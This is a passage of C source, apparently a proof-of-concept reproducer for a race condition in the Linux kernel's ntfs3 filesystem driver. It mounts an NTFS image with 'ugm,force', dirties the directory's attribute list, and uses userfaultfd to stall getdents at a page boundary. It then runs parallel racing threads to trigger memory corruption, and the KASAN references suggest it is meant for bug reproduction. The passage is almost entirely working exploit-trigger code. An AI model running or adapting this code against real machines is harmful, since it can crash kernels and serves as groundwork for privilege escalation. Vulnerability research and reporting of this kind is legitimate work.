BLK_OPEN_RESTRICT_WRITES.\n"); /* 4. Mount filesystem with ugm,force */ int mdir = mkdir("/tmp/mnt_ntfs", 0755); if (mdir < 0 && errno != EEXIST) { printf("[-] Failed to create /tmp/mnt_ntfs: %s\n", strerror(errno)); exit(1); } printf("[+] Mount directory /tmp/mnt_ntfs ready.\n"); int mres = mount(loop_path, "/tmp/mnt_ntfs", "ntfs3", 0, "ugm,force"); if (mres < 0) { printf("[-] mount failed: %s\n", strerror(errno)); exit(1); } printf("[+] Mounted %s at /tmp/mnt_ntfs with 'ugm,force' options.\n", loop_path); /* 5. Open target directory */ int dir_fd = open("/tmp/mnt_ntfs/dir", O_RDONLY | O_DIRECTORY); if (dir_fd < 0) { printf("[-] Failed to open /tmp/mnt_ntfs/dir: %s\n", strerror(errno)); exit(1); } printf("[+] Opened /tmp/mnt_ntfs/dir, fd = %d\n", dir_fd); /* 6. Dirty the attribute list BEFORE getdents starts to ensure ni->attr_list.dirty is true */ printf("[*] Calling fchown and setxattr to dirty ni->attr_list.dirty...\n"); int chres = fchown(dir_fd, 1000, 1000); if (chres < 0) printf("[-] fchown failed: %s\n", strerror(errno)); else printf("[+] fchown successful.\n"); int xres = setxattr("/tmp/mnt_ntfs/dir", "user.x", "val", 3, 0); if (xres < 0) printf("[-] setxattr failed: %s\n", strerror(errno)); else printf("[+] setxattr successful.\n"); /* 7. Setup userfaultfd on getdents buffer boundary */ printf("[*] Setting up userfaultfd on getdents buffer boundary...\n"); void *pages = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (pages == MAP_FAILED) { printf("[-] Failed to mmap 2 anonymous pages: %s\n", strerror(errno)); exit(1); } long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); int uffd_ready = 0; if (uffd >= 0) { struct uffdio_api api = { .api = UFFD_API, .features = 0 }; if (ioctl((int)uffd, UFFDIO_API, &api) == 0) { struct uffdio_register reg = { .range = { .start = (uint64_t)pages + 4096, .len = 4096 }, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl((int)uffd, UFFDIO_REGISTER, ®) == 0) { uffd_ready = 1; printf("[+] userfaultfd registered for page 1 (%p).\n", (char *)pages + 4096); } else { printf("[-] ioctl(UFFDIO_REGISTER) failed: %s\n", strerror(errno)); } } else { printf("[-] ioctl(UFFDIO_API) failed: %s\n", strerror(errno)); } } else { printf("[-] userfaultfd syscall failed: %s\n", strerror(errno)); } /* 8. Deterministic UFFD Trigger */ if (uffd_ready) { pthread_t mon_th; struct uffd_thread_arg targ = { .uffd = (int)uffd, .dir_fd = dir_fd, .fault_page = (char *)pages + 4096 }; if (pthread_create(&mon_th, NULL, uffd_monitor_thread, &targ) == 0) { /* '.' and '..' write to page 0 (48 bytes), 'file1' writes to page 1 */ char *dent_buf = (char *)pages + 4096 - 48; printf("[*] Executing getdents with buffer at %p...\n", dent_buf); long gres = -1; #ifdef SYS_getdents gres = syscall(SYS_getdents, dir_fd, dent_buf, 4096); #endif if (gres < 0 && (errno == ENOSYS || errno == EINVAL)) { gres = syscall(SYS_getdents64, dir_fd, dent_buf, 4096); } printf("[+] getdents completed with return value: %ld\n", gres); pthread_join(mon_th, NULL); } else { printf("[-] Failed to create monitor thread: %s\n", strerror(errno)); } close((int)uffd); } /* 9. Parallel racing loop to maximize trigger probability */ printf("[*] Running parallel racing loop for 2 seconds...\n"); struct race_arg rarg = { .dir_fd = dir_fd, .stop = 0 }; pthread_t rth1, rth2; pthread_create(&rth1, NULL, race_read_thread, &rarg); pthread_create(&rth2, NULL, race_write_thread, &rarg); sleep(2); rarg.stop = 1; pthread_join(rth1, NULL); pthread_join(rth2, NULL); printf("[+] Racing loop completed.\n"); /* Delay before cleanup to allow asynchronous KASAN logging to finish */ sleep(1); /* Cleanup */ close(dir_fd); int ures = umount2("/tmp/mnt_ntfs", MNT_FORCE | MNT_DETACH); if (ures < 0) printf("[-] umount2 failed: %s\n", strerror(errno)); else printf("[+] umount2 successful.\n"); int loop_clean_fd = open(loop_path, O_RDWR); if (loop_clean_fd >= 0) { ioctl(loop_clean_fd, LOOP_CLR_FD, 0); close(loop_clean_fd); printf("[+] Detached loop device %s.\n", loop_path); } unlink("/tmp/ntfs.img"); rmdir("/tmp/mnt_ntfs"); printf("[+] Reproduction procedure finished successfully.\n"); return 0; }